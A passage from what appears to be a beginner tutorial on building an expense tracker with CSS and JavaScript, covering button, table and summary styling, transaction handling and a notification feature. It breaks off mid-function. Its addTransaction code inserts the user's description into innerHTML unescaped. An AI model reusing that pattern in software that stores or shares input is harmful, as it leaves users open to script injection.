    <span class="hljs-attribute">width</span>: <span class="hljs-built_in">calc</span>(<span class="hljs-number">100%</span> - <span class="hljs-number">10px</span>);
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid <span class="hljs-number">#ddd</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">5px</span>;
    <span class="hljs-attribute">box-sizing</span>: border-box;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">16px</span>;
}
</code></pre>
<ul>
<li><p><strong>margin-bottom:</strong> Adds space between input groups.</p>
</li>
<li><p><strong>display: block:</strong> Ensures the labels take up the full width.</p>
</li>
<li><p><strong>width:</strong> Makes the input fields and select elements responsive.</p>
</li>
<li><p><strong>padding, border, border-radius:</strong> Creates a more polished look for the inputs.</p>
</li>
<li><p><strong>box-sizing:</strong> Ensures padding is included in the element’s total width.</p>
</li>
</ul>
<h3 id="heading-6-styling-the-buttons">6. Styling the Buttons</h3>
<p>Let’s give the buttons a more interactive and appealing look:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.button-group</span> <span class="hljs-selector-tag">button</span>,
<span class="hljs-selector-class">.clear-button-group</span> <span class="hljs-selector-tag">button</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FF69B4</span>;
    <span class="hljs-attribute">color</span>: white;
    <span class="hljs-attribute">border</span>: none;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span> <span class="hljs-number">20px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">5px</span>;
    <span class="hljs-attribute">cursor</span>: pointer;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">16px</span>;
}

<span class="hljs-selector-class">.button-group</span> <span class="hljs-selector-tag">button</span><span class="hljs-selector-pseudo">:hover</span>,
<span class="hljs-selector-class">.clear-button-group</span> <span class="hljs-selector-tag">button</span><span class="hljs-selector-pseudo">:hover</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FF1493</span>;
}
</code></pre>
<ul>
<li><p><strong>background-color:</strong> A vibrant pink for the buttons to make them stand out.</p>
</li>
<li><p><strong>color:</strong> White text for contrast against the pink background.</p>
</li>
<li><p><strong>border, padding, border-radius:</strong> No border, ample padding, and rounded corners for a modern look.</p>
</li>
<li><p><strong>cursor:</strong> Changes the cursor to a pointer on hover, indicating the button is clickable.</p>
</li>
<li><p><strong>hover:</strong> Darkens the button color when hovered for a subtle interaction effect.</p>
</li>
</ul>
<h3 id="heading-7-styling-the-transaction-history-table">7. Styling the Transaction History Table</h3>
<p>We’ll also style the transaction history table to ensure it’s easy to read and visually consistent with the rest of the tracker:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.table-container</span> {
    <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">20px</span>;
}

<span class="hljs-selector-tag">table</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
    <span class="hljs-attribute">border-collapse</span>: collapse;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">20px</span>;
}

<span class="hljs-selector-tag">th</span>, <span class="hljs-selector-tag">td</span> {
    <span class="hljs-attribute">text-align</span>: left;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">border-bottom</span>: <span class="hljs-number">1px</span> solid <span class="hljs-number">#ddd</span>;
}

<span class="hljs-selector-tag">th</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FF69B4</span>;
    <span class="hljs-attribute">color</span>: white;
}

<span class="hljs-selector-tag">td</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
}

<span class="hljs-selector-tag">td</span> <span class="hljs-selector-tag">button</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FF1493</span>;
    <span class="hljs-attribute">color</span>: white;
    <span class="hljs-attribute">border</span>: none;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">5px</span> <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">3px</span>;
    <span class="hljs-attribute">cursor</span>: pointer;
}

<span class="hljs-selector-tag">td</span> <span class="hljs-selector-tag">button</span><span class="hljs-selector-pseudo">:hover</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#C71585</span>;
}
</code></pre>
<ul>
<li><p><strong>border-collapse:</strong> Ensures there’s no gap between table borders.</p>
</li>
<li><p><strong>padding, border-bottom:</strong> Adds padding inside table cells and a border under each row for separation.</p>
</li>
<li><p><strong>background-color for th:</strong> Matches the buttons for a cohesive design.</p>
</li>
<li><p><strong>td button:</strong> Adds a delete button inside table cells, styled similarly to the other buttons.</p>
</li>
</ul>
<h3 id="heading-8-styling-the-summary-section">8. Styling the Summary Section</h3>
<p>Finally, let’s style the summary section to make it stand out:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.summary</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FFB3FF</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">15px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">text-align</span>: center;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
}

<span class="hljs-selector-class">.summary</span> <span class="hljs-selector-tag">p</span> {
    <span class="hljs-attribute">margin</span>: <span class="hljs-number">10px</span> <span class="hljs-number">0</span>;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">18px</span>;
}

<span class="hljs-selector-class">.summary</span> <span class="hljs-selector-tag">span</span> {
    <span class="hljs-attribute">font-weight</span>: bold;
}
</code></pre>
<ul>
<li><p><strong>background-color:</strong> A soft pink background helps distinguish the summary from the rest of the content.</p>
</li>
<li><p><strong>padding, border-radius:</strong> Adds spacing and rounded corners.</p>
</li>
<li><p><strong>text-align:</strong> Centers the text within the summary.</p>
</li>
<li><p><strong>font-size, font-weight:</strong> Increases the font size and weight to make the totals and balance more prominent.</p>
</li>
</ul>
<h3 id="heading-9-putting-it-all-together">9. Putting It All Together</h3>
<p>Here’s how your <code>styles.css</code> file should look with all the styles combined:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">body</span> {
    <span class="hljs-attribute">font-family</span>: Arial, sans-serif;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#f4f4f4</span>;
    <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">justify-content</span>: center;
    <span class="hljs-attribute">align-items</span>: center;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">100vh</span>;
}

<span class="hljs-selector-class">.container</span> {
    <span class="hljs-attribute">background-color</span>: white;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">20px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">10px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
    <span class="hljs-attribute">max-width</span>: <span class="hljs-number">600px</span>;
    <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
}

<span class="hljs-selector-tag">h1</span>, <span class="hljs-selector-tag">h2</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
    <span class="hljs-attribute">text-align</span>: center;
}

<span class="hljs-selector-tag">h1</span> {
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">20px</span>;
}

<span class="hljs-selector-tag">h2</span> {
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">15px</span>;
}

<span class="hljs-selector-class">.input-group</span> {
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">15px</span>;
}

<span class="hljs-selector-class">.input-group</span> <span class="hljs-selector-tag">label</span> {
    <span class="hljs-attribute">display</span>: block;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">5px</span>;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#555</span>;
}

<span class="hljs-selector-class">.input-group</span> <span class="hljs-selector-tag">input</span>,
<span class="hljs-selector-class">.input-group</span> <span class="hljs-selector-tag">select</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-built_in">calc</span>(<span class="hljs-number">100%</span> - <span class="hljs-number">10px</span>);
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid <span class="hljs-number">#ddd</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">5px</span>;
    <span class="hljs-attribute">box-sizing</span>: border-box;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">16px</span>;
}

<span class="hljs-selector-class">.button-group</span> <span class="hljs-selector-tag">button</span>,
<span class="hljs-selector-class">.clear-button-group</span> <span class="hljs-selector-tag">button</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FF69B4</span>;
    <span class="hljs-attribute">color</span>: white;
    <span class="hljs-attribute">border</span>: none;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span> <span class="hljs-number">20px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">5px</span>;
    <span class="hljs-attribute">cursor</span>: pointer;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">16px</span>;
}

<span class="hljs-selector-class">.button-group</span> <span class="hljs-selector-tag">button</span><span class="hljs-selector-pseudo">:hover</span>,
<span class="hljs-selector-class">.clear-button-group</span> <span class="hljs-selector-tag">button</span><span class="hljs-selector-pseudo">:hover</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FF1493</span>;
}

<span class="hljs-selector-class">.table-container</span> {
    <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">20px</span>;
}

<span class="hljs-selector-tag">table</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
    <span class="hljs-attribute">border-collapse</span>: collapse;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">20px</span>;
}

<span class="hljs-selector-tag">th</span>, <span class="hljs-selector-tag">td</span> {
    <span class="hljs-attribute">text-align</span>: left;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">border-bottom</span>: <span class="hljs-number">1px</span> solid <span class="hljs-number">#ddd</span>;
}

<span class="hljs-selector-tag">th</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FF69B4</span>;
    <span class="hljs-attribute">color</span>: white;
}

<span class="hljs-selector-tag">td</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
}

<span class="hljs-selector-tag">td</span> <span class="hljs-selector-tag">button</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FF1493</span>;
    <span class="hljs-attribute">color</span>: white;
    <span class="hljs-attribute">border</span>: none;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">5px</span> <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">3px</span>;
    <span class="hljs-attribute">cursor</span>: pointer;
}

<span class="hljs-selector-tag">td</span> <span class="hljs-selector-tag">button</span><span class="hljs-selector-pseudo">:hover</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#C71585</span>;
}

<span class="hljs-selector-class">.summary</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#FFB3FF</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">15px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">text-align</span>: center;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
}

<span class="hljs-selector-class">.summary</span> <span class="hljs-selector-tag">p</span> {
    <span class="hljs-attribute">margin</span>: <span class="hljs-number">10px</span> <span class="hljs-number">0</span>;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">18px</span>;
}

<span class="hljs-selector-class">.summary</span> <span class="hljs-selector-tag">span</span> {
    <span class="hljs-attribute">font-weight</span>: bold;
}
</code></pre>
<p>With this CSS, your expense tracker should now look clean, modern, and easy to use. You can always tweak the colors, fonts, or layout to better suit your style or branding.</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/rNEQzqb" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<h2 id="heading-how-to-implement-functionality-with-javascript">How to Implement Functionality with JavaScript</h2>
<p>Now that we have our HTML structure and CSS styling in place, it’s time to bring our expense tracker to life using JavaScript. We’ll add functionality so users can add expenses, view a summary, and remove items from the list.</p>
<h3 id="heading-1-setting-up-the-javascript-file">1. Setting Up the JavaScript File</h3>
<p>First, create a new file named <code>script.js</code> in the same directory as your <code>index.html</code> file. Link this JavaScript file to your HTML by adding the following line just before the closing <code>&lt;/body&gt;</code> tag in <code>index.html</code>:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"script.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>This line tells your HTML file to execute the JavaScript code from <code>script.js</code>.</p>
<h3 id="heading-2-defining-variables">2. Defining Variables</h3>
<p>Let’s start by defining some variables to reference key elements in our HTML. Open <code>script.js</code> and add the following code:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> expenseForm = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'expense-form'</span>);
<span class="hljs-keyword">const</span> expenseInput = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'expense-input'</span>);
<span class="hljs-keyword">const</span> amountInput = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'amount-input'</span>);
<span class="hljs-keyword">const</span> categoryInput = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'category-input'</span>);
<span class="hljs-keyword">const</span> transactionList = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'transaction-list'</span>);
<span class="hljs-keyword">const</span> totalExpense = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'total-expense'</span>);
<span class="hljs-keyword">const</span> totalIncome = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'total-income'</span>);
<span class="hljs-keyword">const</span> balance = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'balance'</span>);
</code></pre>
<p>Here’s what each variable does:</p>
<ul>
<li><p><strong>expenseForm:</strong> References the form where users enter new expenses.</p>
</li>
<li><p><strong>expenseInput:</strong> References the input field for the expense description.</p>
</li>
<li><p><strong>amountInput:</strong> References the input field for the expense amount.</p>
</li>
<li><p><strong>categoryInput:</strong> References the dropdown for selecting the expense category.</p>
</li>
<li><p><strong>transactionList:</strong> References the table where we’ll display the transactions.</p>
</li>
<li><p><strong>totalExpense, totalIncome, balance:</strong> Reference the elements showing the summary of expenses, income, and balance.</p>
</li>
</ul>
<h3 id="heading-3-adding-an-expense">3. Adding an Expense</h3>
<p>Next, let’s create a function that handles the addition of a new expense when the form is submitted:</p>
<pre><code class="lang-javascript">expenseForm.addEventListener(<span class="hljs-string">'submit'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">event</span>) </span>{
    event.preventDefault();

    <span class="hljs-keyword">const</span> description = expenseInput.value.trim();
    <span class="hljs-keyword">const</span> amount = <span class="hljs-built_in">parseFloat</span>(amountInput.value.trim());
    <span class="hljs-keyword">const</span> category = categoryInput.value;

    <span class="hljs-keyword">if</span> (description === <span class="hljs-string">''</span> || <span class="hljs-built_in">isNaN</span>(amount) || amount &lt;= <span class="hljs-number">0</span>) {
        alert(<span class="hljs-string">'Please enter a valid expense description and amount.'</span>);
        <span class="hljs-keyword">return</span>;
    }

    addTransaction(description, amount, category);
    updateSummary();
    clearInputs();
});

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addTransaction</span>(<span class="hljs-params">description, amount, category</span>) </span>{
    <span class="hljs-keyword">const</span> transactionRow = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'tr'</span>);

    transactionRow.innerHTML = <span class="hljs-string">`
        &lt;td&gt;<span class="hljs-subst">${description}</span>&lt;/td&gt;
        &lt;td&gt;<span class="hljs-subst">${category}</span>&lt;/td&gt;
        &lt;td&gt;<span class="hljs-subst">${amount.toFixed(<span class="hljs-number">2</span>)}</span>&lt;/td&gt;
        &lt;td&gt;&lt;button class="delete-btn"&gt;Delete&lt;/button&gt;&lt;/td&gt;
    `</span>;

    transactionList.appendChild(transactionRow);

    transactionRow.querySelector(<span class="hljs-string">'.delete-btn'</span>).addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        transactionRow.remove();
        updateSummary();
    });
}
</code></pre>
<p>Here’s what’s happening in this code:</p>
<ul>
<li><p><code>event.preventDefault()</code><strong>:</strong> Prevents the form from refreshing the page when submitted.</p>
</li>
<li><p><code>addTransaction</code><strong>:</strong> Adds a new transaction to the table.</p>
</li>
<li><p><code>updateSummary</code><strong>:</strong> Updates the total expenses, income, and balance.</p>
</li>
<li><p><code>clearInputs</code><strong>:</strong> Clears the form inputs after the transaction is added.</p>
</li>
<li><p><strong>delete button:</strong> Allows users to remove a transaction from the list.</p>
</li>
</ul>
<h3 id="heading-4-updating-the-summary">4. Updating the Summary</h3>
<p>To keep track of the total expenses, income, and balance, we’ll create an <code>updateSummary</code> function:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">updateSummary</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">let</span> totalExpenses = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">let</span> totalIncomes = <span class="hljs-number">0</span>;

    <span class="hljs-keyword">const</span> transactions = transactionList.querySelectorAll(<span class="hljs-string">'tr'</span>);

    transactions.forEach(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">transaction</span>) </span>{
        <span class="hljs-keyword">const</span> amount = <span class="hljs-built_in">parseFloat</span>(transaction.children[<span class="hljs-number">2</span>].textContent);
        <span class="hljs-keyword">const</span> category = transaction.children[<span class="hljs-number">1</span>].textContent;

        <span class="hljs-keyword">if</span> (category === <span class="hljs-string">'Income'</span>) {
            totalIncomes += amount;
        } <span class="hljs-keyword">else</span> {
            totalExpenses += amount;
        }
    });

    totalExpense.textContent = totalExpenses.toFixed(<span class="hljs-number">2</span>);
    totalIncome.textContent = totalIncomes.toFixed(<span class="hljs-number">2</span>);
    balance.textContent = (totalIncomes - totalExpenses).toFixed(<span class="hljs-number">2</span>);
}
</code></pre>
<p>This function loops through each transaction in the table:</p>
<ul>
<li><p><code>totalExpenses</code> <strong>and</strong> <code>totalIncomes</code><strong>:</strong> Calculated by summing the amounts in each category.</p>
</li>
<li><p><code>totalExpense</code><strong>,</strong> <code>totalIncome</code><strong>,</strong> <code>balance</code><strong>:</strong> Updated with the calculated values.</p>
</li>
</ul>
<h3 id="heading-5-clearing-form-inputs">5. Clearing Form Inputs</h3>
<p>To reset the form after adding a transaction, we’ll create a <code>clearInputs</code> function:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">clearInputs</span>(<span class="hljs-params"></span>) </span>{
    expenseInput.value = <span class="hljs-string">''</span>;
    amountInput.value = <span class="hljs-string">''</span>;
    categoryInput.value = <span class="hljs-string">'Expense'</span>;
}
</code></pre>
<p>This function simply clears the values of the form inputs.</p>
<h3 id="heading-6-putting-it-all-together">6. Putting It All Together</h3>
<p>Here’s what your <code>script.js</code> file should look like with all the code combined:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> expenseForm = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'expense-form'</span>);
<span class="hljs-keyword">const</span> expenseInput = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'expense-input'</span>);
<span class="hljs-keyword">const</span> amountInput = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'amount-input'</span>);
<span class="hljs-keyword">const</span> categoryInput = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'category-input'</span>);
<span class="hljs-keyword">const</span> transactionList = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'transaction-list'</span>);
<span class="hljs-keyword">const</span> totalExpense = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'total-expense'</span>);
<span class="hljs-keyword">const</span> totalIncome = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'total-income'</span>);
<span class="hljs-keyword">const</span> balance = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'balance'</span>);

expenseForm.addEventListener(<span class="hljs-string">'submit'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">event</span>) </span>{
    event.preventDefault();

    <span class="hljs-keyword">const</span> description = expenseInput.value.trim();
    <span class="hljs-keyword">const</span> amount = <span class="hljs-built_in">parseFloat</span>(amountInput.value.trim());
    <span class="hljs-keyword">const</span> category = categoryInput.value;

    <span class="hljs-keyword">if</span> (description === <span class="hljs-string">''</span> || <span class="hljs-built_in">isNaN</span>(amount) || amount &lt;= <span class="hljs-number">0</span>) {
        alert(<span class="hljs-string">'Please enter a valid expense description and amount.'</span>);
        <span class="hljs-keyword">return</span>;
    }

    addTransaction(description, amount, category);
    updateSummary();
    clearInputs();
});

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addTransaction</span>(<span class="hljs-params">description, amount, category</span>) </span>{
    <span class="hljs-keyword">const</span> transactionRow = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'tr'</span>);

    transactionRow.innerHTML = <span class="hljs-string">`
        &lt;td&gt;<span class="hljs-subst">${description}</span>&lt;/td&gt;
        &lt;td&gt;<span class="hljs-subst">${category}</span>&lt;/td&gt;
        &lt;td&gt;<span class="hljs-subst">${amount.toFixed(<span class="hljs-number">2</span>)}</span>&lt;/td&gt;
        &lt;td&gt;&lt;button class="delete-btn"&gt;Delete&lt;/button&gt;&lt;/td&gt;
    `</span>;

    transactionList.appendChild(transactionRow);

    transactionRow.querySelector(<span class="hljs-string">'.delete-btn'</span>).addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        transactionRow.remove();
        updateSummary();
    });
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">updateSummary</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">let</span> totalExpenses = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">let</span> totalIncomes = <span class="hljs-number">0</span>;

    <span class="hljs-keyword">const</span> transactions = transactionList.querySelectorAll(<span class="hljs-string">'tr'</span>);

    transactions.forEach(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">transaction</span>) </span>{
        <span class="hljs-keyword">const</span> amount = <span class="hljs-built_in">parseFloat</span>(transaction.children[<span class="hljs-number">2</span>].textContent);
        <span class="hljs-keyword">const</span> category = transaction.children[<span class="hljs-number">1</span>].textContent;

        <span class="hljs-keyword">if</span> (category === <span class="hljs-string">'Income'</span>) {
            totalIncomes += amount;
        } <span class="hljs-keyword">else</span> {
            totalExpenses += amount;
        }
    });

    totalExpense.textContent = totalExpenses.toFixed(<span class="hljs-number">2</span>);
    totalIncome.textContent = totalIncomes.toFixed(<span class="hljs-number">2</span>);
    balance.textContent = (totalIncomes - totalExpenses).toFixed(<span class="hljs-number">2</span>);
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">clearInputs</span>(<span class="hljs-params"></span>) </span>{
    expenseInput.value = <span class="hljs-string">''</span>;
    amountInput.value = <span class="hljs-string">''</span>;
    categoryInput.value = <span class="hljs-string">'Expense'</span>;
}
</code></pre>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/rNEQzQb" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<h3 id="heading-7-testing-the-expense-tracker">7. Testing the Expense Tracker</h3>
<p>With all the code in place, open your <code>index.html</code> file in a web browser. Try adding some expenses and incomes to see how they appear in the transaction table. You should see the total expenses, total income, and balance update automatically as you add and delete transactions.</p>
<p>Congratulations! You’ve now implemented a fully functional expense tracker using JavaScript. This tracker is a simple but powerful tool for managing personal finances, and you can further expand it by adding features like data persistence, additional categories, or more detailed reporting.</p>
<h2 id="heading-how-to-enhance-the-user-experience">How to Enhance the User Experience</h2>
<p>Now that the core functionality of our expense tracker is up and running, it’s time to improve the user experience. Adding small details and thoughtful enhancements can make your application more intuitive, interactive, and enjoyable to use.</p>
<p>Here are some ideas for enhancing the user experience of our expense tracker:</p>
<h3 id="heading-1-adding-real-time-feedback">1. Adding Real-Time Feedback</h3>
<p>It’s helpful for users to receive feedback as they interact with your application. Let’s add a notification feature to confirm that a transaction was successfully added. We’ll do this by showing a brief message after a transaction is submitted.</p>
<p>In your HTML, add a <code>div</code> below the form for the notification message:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"notification"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"hidden"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>In your CSS, style the notification to make it more visible:</p>
<pre><code class="lang-css"><span class="hljs-selector-id">#notification</span> {
  <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#28a745</span>;
  <span class="hljs-attribute">color</span>: white;
  <span class="hljs-attribute">padding</span>: <span class="hljs-number">10px</span>;
  <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">10px</span>;
  <span class="hljs-attribute">text-align</span>: center;
  <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">5px</span>;
}

<span class="hljs-selector-class">.hidden</span> {
  <span class="hljs-attribute">display</span>: none;
}
</code></pre>
<p>Now, in your JavaScript file, we’ll show this notification for a few seconds after a transaction is added:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">showNotification</span>(<span class="hljs-params">message</span>) </span>{
    <span class="hljs-keyword">const</span> notification = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'notification'</span>);
    notification.textContent = message;
    notification.classList.remove(<span class="hljs-string">'hidden'</span>);

    <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        notification.classList.add(<span class="hljs-string">'hidden'</span>);
    }, <span class="hljs-number">2000</span>); <span class="hljs-comment">// Notification will disappear after 2 seconds</span>
}
</code></pre>
<p>Update the <code>addTransaction</code> function to show this notification when a new transaction is added:</p>
<pre><code class="lang-javascript">addTransaction(description, amount, category);
showNotification(<span class="hljs-string">'Transaction added successfully!'</span>);
updateSummary();
clearInputs();
</code></pre>
<p>This way, each time a user submits a transaction, they get immediate feedback.</p>
<h3 id="heading-2-displaying-a-balance-indicator">2. Displaying a Balance Indicator</h3>
<p>To give users a clearer visual understanding of their financial status, you can implement a balance indicator. This could be a simple color change for the balance display depending on whether the balance is positive or negative.</p>
<p>In your CSS, add styles for different balance states:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.positive</span> {
  <span class="hljs-attribute">color</span>: <span class="hljs-number">#28a745</span>; <span class="hljs-comment">/* Green for positive balance */</span>
}

<span class="hljs-selector-class">.negative</span> {
  <span class="hljs-attribute">color</span>: <span class="hljs-number">#dc3545</span>; <span class="hljs-comment">/* Red for negative balance */</span>
}
</code></pre>
<p>Then, in your <code>updateSummary</code> function, apply the appropriate class based on the balance:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">updateSummary</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">let</span> totalExpenses = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">let</span> totalIncomes = <span class="hljs-number">0</span>;

    <span class="hljs-keyword">const</span> transactions = transactionList.querySelectorAll(<span class="hljs-string">'tr'</span>);

    transactions.forEach(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">transaction</span>) </span>{
        <span class="hljs-keyword">const</span> amount = <span class="hljs-built_in">parseFloat</span>(transaction.children[<span class="hljs-number">2</span>].textContent);
        <span class="hljs-keyword">const</span> category = transaction.children[<span class="hljs-number">1</span>].textContent;

        <span class="hljs-keyword">if</span> (category === <span class="hljs-string">'Income'</span>) {
            totalIncomes += amount;
        } <span class="hljs-keyword">else</span> {
            totalExpenses += amount;
        }
    });

    totalExpense.textContent = totalExpenses.toFixed(<span class="hljs-number">2</span>);
    totalIncome.textContent = totalIncomes.toFixed(<span class="hljs-number">2</span>);

    <span class="hljs-keyword">const</span> currentBalance = totalIncomes - totalExpenses;
    balance.textContent = currentBalance.toFixed(<span class="hljs-number">2</span>);

    <span class="hljs-comment">// Apply positive/negative class</span>
    <span class="hljs-keyword">if</span> (currentBalance &gt;= <span class="hljs-number">0</span>) {
        balance.classList.remove(<span class="hljs-string">'negative'</span>);
        balance.classList.add(<span class="hljs-string">'positive'</span>);
